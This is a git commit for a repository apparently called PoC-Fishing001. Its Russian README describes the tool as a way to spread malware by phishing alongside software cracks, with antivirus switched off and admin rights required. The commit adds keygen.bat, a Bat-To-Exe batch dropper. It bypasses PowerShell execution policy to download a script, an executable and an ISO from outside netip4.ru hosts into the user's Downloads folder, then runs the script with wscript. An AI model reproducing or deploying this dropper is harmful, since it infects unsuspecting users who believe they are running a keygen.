First Commit
This commit is contained in:
+143
@@ -0,0 +1,143 @@
|
||||
# These are some examples of commonly ignored file patterns.
|
||||
# You should customize this list as applicable to your project.
|
||||
# Learn more about .gitignore:
|
||||
# https://www.atlassian.com/git/tutorials/saving-changes/gitignore
|
||||
|
||||
# Node artifact files
|
||||
node_modules/
|
||||
dist/
|
||||
|
||||
# Compiled Java class files
|
||||
*.class
|
||||
|
||||
# Compiled Python bytecode
|
||||
*.py[cod]
|
||||
|
||||
# Log files
|
||||
*.log
|
||||
|
||||
# Package files
|
||||
*.jar
|
||||
|
||||
# Maven
|
||||
target/
|
||||
dist/
|
||||
|
||||
# JetBrains IDE
|
||||
.idea/
|
||||
|
||||
# Unit test reports
|
||||
TEST*.xml
|
||||
|
||||
# Generated by MacOS
|
||||
.DS_Store
|
||||
|
||||
# Generated by Windows
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
ehthumbs_vista.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Applications
|
||||
*.app
|
||||
*.exe
|
||||
*.war
|
||||
*.dll
|
||||
*.elf
|
||||
*.bin
|
||||
*.sys
|
||||
*.ocx
|
||||
*.com
|
||||
*.apk
|
||||
|
||||
# Windows archieve files
|
||||
*.zip
|
||||
*.rar
|
||||
*.7z
|
||||
*.tar
|
||||
*.gz
|
||||
*.bz
|
||||
*.bzip
|
||||
*.bzip2
|
||||
*.bz2
|
||||
*.tgz
|
||||
*.arj
|
||||
*.ace
|
||||
*.lha
|
||||
*.iso
|
||||
*.Z
|
||||
*.xz
|
||||
|
||||
# Large media files
|
||||
*.mp4
|
||||
*.tiff
|
||||
*.avi
|
||||
*.flv
|
||||
*.mov
|
||||
*.wmv
|
||||
*.mp3
|
||||
*.aac
|
||||
*.m4a
|
||||
*.wma
|
||||
|
||||
# Auxiliary Files
|
||||
*.obj
|
||||
*.wixobj
|
||||
*.wixpdb
|
||||
*.tmp
|
||||
*.log
|
||||
*.bak
|
||||
*.o
|
||||
*.so
|
||||
|
||||
# Windows Installer files
|
||||
*.cab
|
||||
*.msi
|
||||
*.msm
|
||||
*.msp
|
||||
*.msu
|
||||
|
||||
# Linux Installer Files
|
||||
*.deb
|
||||
*.rpm
|
||||
|
||||
# Windows shortcuts
|
||||
*.lnk
|
||||
|
||||
# =========================
|
||||
# Operating System Files
|
||||
# =========================
|
||||
.svn
|
||||
.vs/
|
||||
obj/
|
||||
Debug/
|
||||
Release/
|
||||
Test/
|
||||
TEST/
|
||||
|
||||
# ========================
|
||||
# Icons Files
|
||||
# ========================
|
||||
*.ico
|
||||
|
||||
# ========================
|
||||
# Certificates Files
|
||||
# ========================
|
||||
*.cer
|
||||
*.crl
|
||||
*.pfx
|
||||
*.pvk
|
||||
*.spc
|
||||
|
||||
# ========================
|
||||
# Misc Files
|
||||
# ========================
|
||||
Scripts/*.7z
|
||||
Scripts/*.SFX.exe
|
||||
#C/
|
||||
|
||||
@@ -1,3 +1,16 @@
|
||||
# PoC-Fishing001
|
||||
|
||||
Proof of Concept программы для распространения мисконфиов методом фишинга
|
||||
|
||||
|
||||
## Описание
|
||||
|
||||
Данная программа предназначена для распространения разного malware методом фишинга вместе с кряками к различным программам. Программа требует учётных записей с возможностью повышения привилегий. При загрузке и запуске программы требуется отключение антивируса (стандартная процедура для кряка).
|
||||
|
||||
Программа сделана при помощи утилиты BAT2EXE и по определению детектируется антивирусом как вредоносное программное обеспечение. Именно поэтому основная легенда его распространения — вместе с программным обеспечением для взлома.
|
||||
|
||||
Программа разработана для операционных систем Microsoft Windows 10+.
|
||||
|
||||
При своей загрузке и установке в командной строке программа требует, чтобы пользователь хотя бы раз зашёл в профиль пользователя в графическом интерфейсе. Это действие необходимо для инициализации переменных окружения.
|
||||
|
||||
По-видимому, система не работает в среде Windows Server Core.
|
||||
|
||||
+197
@@ -0,0 +1,197 @@
|
||||
::[Bat To Exe Converter]
|
||||
::
|
||||
::YAwzoRdxOk+EWAjk
|
||||
::fBw5plQjdCuDJECR8Ec+FD9bTxGPOWWuFYk74fzT+ui7pUQJGeo2fIve1IiYIeQa51fhY58u3kZql+hBKhJLdhulaTg9vWZgl1DXEv+5jz/uaQWv71g4Emtz1zOBsBwybvhtg+QG3XDurQP2nKpw
|
||||
::YAwzuBVtJxjWCl3EqQJgSA==
|
||||
::ZR4luwNxJguZRRnk
|
||||
::Yhs/ulQjdF65
|
||||
::cxAkpRVqdFKZSTk=
|
||||
::cBs/ulQjdF65
|
||||
::ZR41oxFsdFKZSTk=
|
||||
::eBoioBt6dFKZSDk=
|
||||
::cRo6pxp7LAbNWATEpCI=
|
||||
::egkzugNsPRvcWATEpCI=
|
||||
::dAsiuh18IRvcCxnZtBJQ
|
||||
::cRYluBh/LU+EWAnk
|
||||
::YxY4rhs+aU+JeA==
|
||||
::cxY6rQJ7JhzQF1fEqQJQ
|
||||
::ZQ05rAF9IBncCkqN+0xwdVs0
|
||||
::ZQ05rAF9IAHYFVzEqQJQ
|
||||
::eg0/rx1wNQPfEVWB+kM9LVsJDGQ=
|
||||
::fBEirQZwNQPfEVWB+kM9LVsJDGQ=
|
||||
::cRolqwZ3JBvQF1fEqQJQ
|
||||
::dhA7uBVwLU+EWDk=
|
||||
::YQ03rBFzNR3SWATElA==
|
||||
::dhAmsQZ3MwfNWATElA==
|
||||
::ZQ0/vhVqMQ3MEVWAtB9wSA==
|
||||
::Zg8zqx1/OA3MEVWAtB9wSA==
|
||||
::dhA7pRFwIByZRRnk
|
||||
::Zh4grVQjdCuDJECR8Ec+FD9bTxGPOWWuFYk74fzT+ui7pUQJGeo2fIve1IiYIeQa51fhY58u3kZql+hBKhJLdhulaTg9vWZgl1DXEv+5jz/uaQWv71g4Emtz1zOBsCA+edRtlI4T3CPw+VX6/w==
|
||||
::YB416Ek+ZW8=
|
||||
::
|
||||
::
|
||||
::978f952a14a936cc963da21a135fa983
|
||||
@echo off
|
||||
rem *******************************************************
|
||||
rem keygen.bat
|
||||
rem The Script must be run as Administrator
|
||||
rem *******************************************************
|
||||
@echo off
|
||||
|
||||
rem Metadata
|
||||
|
||||
set PRODUCT_NAME=PocFishing001
|
||||
set PRODUCT_NAME_FOLDER=
|
||||
set FIRM_NAME=NIT
|
||||
|
||||
setlocal EnableExtensions DisableDelayedExpansion
|
||||
|
||||
rem Get System Folders File is here
|
||||
|
||||
rem Set a Variables
|
||||
|
||||
set "Reg32=%SystemRoot%\System32\reg.exe"
|
||||
if not "%ProgramFiles(x86)%" == "" set "Reg32=%SystemRoot%\SysWOW64\reg.exe"
|
||||
|
||||
rem set TPDL variable
|
||||
rem
|
||||
if exist "C:\pub1\Distrib\Zlovred" set TPDL=C:\pub1\Distrib\Zlovred&& goto TPDL_End
|
||||
set TPDL=%TEMP%
|
||||
:TPDL_End
|
||||
echo Temp Folder = %TPDL%
|
||||
|
||||
rem Set CURDIR Directoru
|
||||
set CurDIR=%CD%
|
||||
set SCRIPTDIR=%~dp0
|
||||
|
||||
echo Current Directory = %CurDIR%
|
||||
echo Script Directory = %SCRIPTDIR%
|
||||
|
||||
set "DownloadShellFolder="
|
||||
for /F "skip=1 tokens=1,2*" %%T in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "{374DE290-123F-4565-9164-39C4925E467B}" 2^>nul') do (
|
||||
if /I "%%T" == "{374DE290-123F-4565-9164-39C4925E467B}" (
|
||||
set "DownloadShellFolder=%%V"
|
||||
goto GetDownloadDirectory
|
||||
)
|
||||
)
|
||||
|
||||
:GetDownloadDirectory
|
||||
set "DownloadDirectory="
|
||||
for /F "skip=1 tokens=1,2,3*" %%S in ('%Reg32% query "HKCU\Software\Microsoft\Internet Explorer" /v "Download Directory" 2^>nul') do (
|
||||
if /I "%%S" == "Download" (
|
||||
if /I "%%T" == "Directory" (
|
||||
set "DownloadDirectory=%%V"
|
||||
goto GetSaveDirectory
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
:GetSaveDirectory
|
||||
set "SaveDirectory="
|
||||
for /F "skip=1 tokens=1,2,3*" %%S in ('%Reg32% query "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Save Directory" 2^>nul') do (
|
||||
if /I "%%S" == "Save" (
|
||||
if /I "%%T" == "Directory" (
|
||||
set "SaveDirectory=%%V"
|
||||
goto OutputResults
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
:OutputResults
|
||||
|
||||
|
||||
rem Get a Downloads Directory
|
||||
rem
|
||||
if not defined DownloadShellFolder echo DownloadShellFolder is not Defined && exit /b 1
|
||||
if not exist %DownloadShellFolder% echo %DownloadShellFolder% is not Found && exit /b 1
|
||||
echo My Download = %DownloadShellFolder%
|
||||
|
||||
rem Set My Documents Variable...
|
||||
rem
|
||||
for /f "tokens=2,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Personal" ^|findstr /i "REG_"') do set MyDocuments=%%j
|
||||
|
||||
if not defined MyDocuments (echo Variable My Documents Folder not Defined && exit /b 1)
|
||||
if not exist %MyDocuments% echo %MyDocuments% is not Found && exit /b 1
|
||||
echo My Documents = %MyDocuments%
|
||||
|
||||
rem Set My Desktop Variable...
|
||||
rem
|
||||
for /f "tokens=2,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Desktop" ^|findstr /i "REG_"') do set MyDesktop=%%j
|
||||
|
||||
if not defined MyDesktop (echo Variable My Desktop Folder not Defined && exit /b 1)
|
||||
if not exist %MyDesktop% echo %MyDesktop% is not Found && exit /b 1
|
||||
echo My Desktop = %MyDesktop%
|
||||
|
||||
rem Set My Video Variable...
|
||||
rem
|
||||
for /f "tokens=3,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Video" ^|findstr /i "REG_"') do set MyVideo=%%j
|
||||
|
||||
if not defined MyVideo (echo Variable My Video Folder not Defined && exit /b 1)
|
||||
if not exist %MyVideo% echo %MyVideo% is not Found && exit /b 1
|
||||
echo My Video = %MyVideo%
|
||||
|
||||
rem Set My Pictures Variable...
|
||||
rem
|
||||
for /f "tokens=3,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Pictures" ^|findstr /i "REG_"') do set MyPictures=%%j
|
||||
|
||||
if not defined MyPictures (echo Variable My Pictures Folder not Defined && exit /b 1)
|
||||
if not exist %MyPictures% echo %MyPictures% is not Found && exit /b 1
|
||||
echo My Pictures = %MyPictures%
|
||||
|
||||
rem Set My Music Variable...
|
||||
rem
|
||||
for /f "tokens=3,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Music" ^|findstr /i "REG_"') do set MyMusic=%%j
|
||||
|
||||
if not defined MyMusic (echo Variable My Music Folder not Defined && exit /b 1)
|
||||
if not exist %MyMusic% echo %MyMusic% is not Found && exit /b 1
|
||||
echo My Music = %MyMusic%
|
||||
|
||||
rem Check UserProfile Variable...
|
||||
rem
|
||||
if not defined UserProfile (echo Variable UserProfile Folder not Defined && exit /b 1)
|
||||
if not exist %UserProfile% echo %UserProfile% is not Found && exit /b 1
|
||||
echo User Profile Folder = %UserProfile%
|
||||
|
||||
rem the End of the Get System Folder File
|
||||
|
||||
rem Set Variables
|
||||
|
||||
set LocalFolder=%DownloadShellFolder%
|
||||
|
||||
rem set hosts
|
||||
|
||||
set host001=http://file.netip4.ru/PROGS/LIB-RUN/WSH/
|
||||
set host002=http://file.netip4.ru/PROGS/NIT/NIT.RTBD/Awesome/
|
||||
set host003=http://win.netip4.ru/win10plusupdate/misc/ISO/
|
||||
|
||||
rem set Files
|
||||
set ISOFile003=NIT-SomePSGUI.iso
|
||||
set NIT.RTBD002=Awesome.exe
|
||||
set POCWSH001=echo-server.utf8.wsf
|
||||
|
||||
rem Set Misc
|
||||
set POSHEXE=%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe
|
||||
set WSCRIPTEXE=%SystemRoot%\System32\wscript.exe
|
||||
|
||||
rem Check Integrity
|
||||
if not exist %POSHEXE% echo %POSHEXE% is not Found && exit /b 1
|
||||
if not exist %WSCRIPTEXE% echo %WSCRIPTEXE% is not Found && exit /b 1
|
||||
|
||||
if exist %LocalFolder%\%POCWSH001% del %LocalFolder%\%POCWSH001% /q /f
|
||||
if exist %LocalFolder%\%NIT.RTBD002% del %LocalFolder%\%NIT.RTBD002% /q /f
|
||||
if exist %LocalFolder%\%ISOFile003% del %LocalFolder%\%ISOFile003% /q /f
|
||||
|
||||
rem Run Payloads
|
||||
|
||||
echo Download Payloads...
|
||||
%POSHEXE% -ExecutionPolicy Bypass -NoProfile -NoLogo -c "(new-object System.Net.WebClient).DownloadFile('%host001%%POCWSH001%','%LocalFolder%\%POCWSH001%')"
|
||||
%POSHEXE% -ExecutionPolicy Bypass -NoProfile -NoLogo -c "(new-object System.Net.WebClient).DownloadFile('%host002%%NIT.RTBD002%','%LocalFolder%\%NIT.RTBD002%')"
|
||||
%POSHEXE% -ExecutionPolicy Bypass -NoProfile -NoLogo -c "(new-object System.Net.WebClient).DownloadFile('%host003%%ISOFile003%','%LocalFolder%\%ISOFile003%')"
|
||||
|
||||
echo Execute Payloads...
|
||||
%WSCRIPTEXE% //NoLogo %LocalFolder%\%POCWSH001%
|
||||
rem %LocalFolder%\%NIT.RTBD002%
|
||||
|
||||
:End
|
||||
echo The End of the Script %0 with Success!
|
||||
exit /b 0
|
||||
Reference in New Issue
Block a user